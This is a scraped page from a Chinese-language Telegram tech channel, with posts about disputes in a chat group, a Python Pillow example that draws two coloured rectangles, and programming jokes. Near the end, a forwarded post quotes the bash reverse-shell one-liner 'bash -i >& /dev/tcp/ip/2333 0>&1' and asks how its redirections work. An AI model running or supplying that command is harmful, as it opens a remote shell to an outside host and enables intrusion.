duangsuse::Echo
710 subscribers
4.23K photos
127 videos
583 files
6.44K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): https://WOJS.org/#/
Download Telegram
duangsuse::Echo
小白的数目,实际上是由大佬的实际行动决定的。 如果你们不愿意改变,也请对他们不要那么反感。 #statement
当然,这里断言的有点过分
不过这句话其实也不无道理,因为每个人都有自己可做的——譬如在博文里多加几个 footnote、在日常讨论中对不懂名词/缩写的人多包容一下、在教学文章里先给个解法提纲和问题本身出现的缘由
duangsuse::Echo
你是我的学姐,我就是你的学弟,长辈帮助晚辈,在自己的领域里天经地义。 上等讨论是交流观点,中等讨论是谈论事件,低等讨论是评判个人。 ——浅谈价值表达 领英对行家的定义是,在自己的领域中,根据自身经验和知识,为他人答疑解惑,分享行业洞察,提供经验干货。简单来说,所谓的行家,就是善于思考,乐于发声的人。 ——浅谈价值表达 我还记得,在肖战事件中,有位娱乐圈大腕曾经发话: “某天一位当红流量明星来找我,希望我推荐他上欧美大音乐节和颁奖礼,我帮他推荐了,他问“我能帮你做什么?”我说“没有”。他说“那你为什么…
在与部分群友(我就不想说是什么群了,再次强调,总是有人不能接受你,你也要容忍这种不能接受)的交流过程中

经常有人说我『对线』(低一级的互骂)

人和人之间的关系是相互的。
没有人给我扣帽子,我也不无端给别人扣帽子。
没有人首先不尊重我和我对某件事的评议,我也不无端和别人“对线”。

遇到什么争执,我一般都会先道歉。(到了另一边的嘴里,是否又会变成拼命洗白自己?)

你们能和人“对线”那么久依然保持相对客观、针对问题本身的言辞?
你们眼里的我到底是 duangsuse,还是镜子里的自己?

你们把一个人『不懂Python』当成梗来玩,是否考虑过在群里写代码、回答问题、分享解决方案的我的感受?
你们是否像这篇
C# 开发者写的文章里一样,是纯 Python 玩家?不能接受其他任何『语言』?
连一点消极观点都无法接受,如果不利用权限的话会怎么样?(或许,我又会被另一边代表所有群友,说是浪费别人的时间,有理有据、义正辞严)

群规里写得明明白白,“依法”到底还是依权限,我无所谓,Telegram 又不是你们开的。
少了一个人回复群成员的问题,是你们的损失,尽管一些人会一笑置之,哈。
duangsuse::Echo
在与部分群友(我就不想说是什么群了,再次强调,总是有人不能接受你,你也要容忍这种不能接受)的交流过程中 经常有人说我『对线』(低一级的互骂) 人和人之间的关系是相互的。 没有人给我扣帽子,我也不无端给别人扣帽子。 没有人首先不尊重我和我对某件事的评议,我也不无端和别人“对线”。 遇到什么争执,我一般都会先道歉。(到了另一边的嘴里,是否又会变成拼命洗白自己?) 你们能和人“对线”那么久依然保持相对客观、针对问题本身的言辞? 你们眼里的我到底是 duangsuse,还是镜子里的自己? 你们把一个人『…
真是在给自己招黑……
1. 截至现在,我已经被至少 4 人屏蔽了,加上 drakeet 有 5 人
幸好,这 4 人都不是我觉得很有能量的大佬(得罪地说,要不然也不会因为因为小摩擦屏蔽我啊x
2. 之前一些伪·朋友 就会因这些非议更加疏离了,毕竟只要有负面评价,肯定或多或少产生怀疑
3. 自己变得奇怪了,就更容易遭致其他人的排斥,虽然看起来不是这样
4. 许多人的性格都是维护大体,所以他们眼里的我在那几个人的负面评价下是有明显过错的,比如“说话太‘冲’了”
5. 我希望拥有一些同道网友,可是我也不愿看见私下也委曲求全的言论
和我一样性格的人太少了,不知道会不会被委曲求全系朋友讨厌呢
This media is not supported in your browser
VIEW IN TELEGRAM
多干实事,少生是非。
我们最后玩一会 #Python Pillow 吧。好久没涉足应用编程了。
结果我还觉得我太菜了,都不会了呢……

我们要生成一个 600x600 的 square,由两个子 square 构成: (left-top)s
1. (0, 0) (w/2, h)
2. (w/2, 0) - (w, h)

from PIL import Image, ImageDraw

def square(size, fill_a, fill_b, mode="RGB") -> Image:
sq = Image.new(mode, size)
draw = ImageDraw.Draw(sq)
(w, h) = size
for (i, xy) in enumerate([ [(0,0), (w//2, h)], [(w//2, 0), (w, h)] ]):
draw.rectangle(xy, fill = fill_a if i == 0 else fill_b)
return sq

不过 ImageDraw.rectangle 的 width 参数有点奇怪,以为有配套 height 参数呢,没想到只是 line width 🤔
感觉其实 thickness 和 line_width 都是好名字

magic_comb = square((600,600), "#66ccff", "#ee0000")
magic_comb.show() #先看一看再存
magic_comb.save("magic_comb.png")


最后,这只是用 Python 的一个示例,Java 也可以用 javap java.awt.image.BufferedImage 的 set/get RGB 和 java.awt.Graphics 做的
magic_comb.png
2.3 KB
太瞎眼我就不 send as photo 了
所以问题弄久了终究还是抽象问题 🤔
我不擅长 #parallelism ,但既有一般的编程实践和文档查找能力,对抽象的掌控也是还行的
duangsuse::Echo
我们最后玩一会 #Python Pillow 吧。好久没涉足应用编程了。 结果我还觉得我太菜了,都不会了呢…… 我们要生成一个 600x600 的 square,由两个子 square 构成: (left-top)s 1. (0, 0) (w/2, h) 2. (w/2, 0) - (w, h) from PIL import Image, ImageDraw def square(size, fill_a, fill_b, mode="RGB") -> Image: sq = Image.new(mode…
所以,大家可以试着利用浮点系数对这个程序进行泛化:

def wall_2square(size, fill_a, fill_b, mode="RGB", ratio_a=0.5) -> Image:
sq = Image.new(mode, size)
draw = ImageDraw.Draw(sq)
(w, h) = size
x_astop = w * ratio_a
for (i, xy) in enumerate([ [(0,0), (x_astop, h)], [(x_astop, 0), (w, h)] ]):
draw.rectangle(xy, fill = fill_a if i == 0 else fill_b)
return sq

说白了,整个绘制程序都是在 ImageDraw 上的,但 Python 没有扩展函数……
那就到此为止吧。 练习:试着把 wall_2square 做成工具绘制函数的形式
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from Deleted Account
在我看来录「我是傻逼」,然后倒放一遍 speech recog. 就可以了
Forwarded from Deleted Account
好 sticker,收下了
Forwarded from Deleted Account
ng 变声母 gn 的那个有意思
声调阳平/去声也好反向嘛
特殊规则用 regex 替换
可以写个 translate 程序?
Forwarded from Deleted Account
如果鲁迅先生学面向对象,他一定害的所有方法都成 protected (

你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?

*注:protected 方法内部可以访问同一类实例的 protected 方法
Forwarded from Deleted Account
0>&1 是 stdin->shell stdout 的意思?🤔
>& 又是何种重定向……(直觉是默认0)
bash -i >& /dev/tcp/ip/2333 0>&1 这个语句的-i >& 和0>&1 怎么理解。只能看懂是执行了一次tcp连接。
Forwarded from Deleted Account
不愧是小学毕业的清华生呢(暴论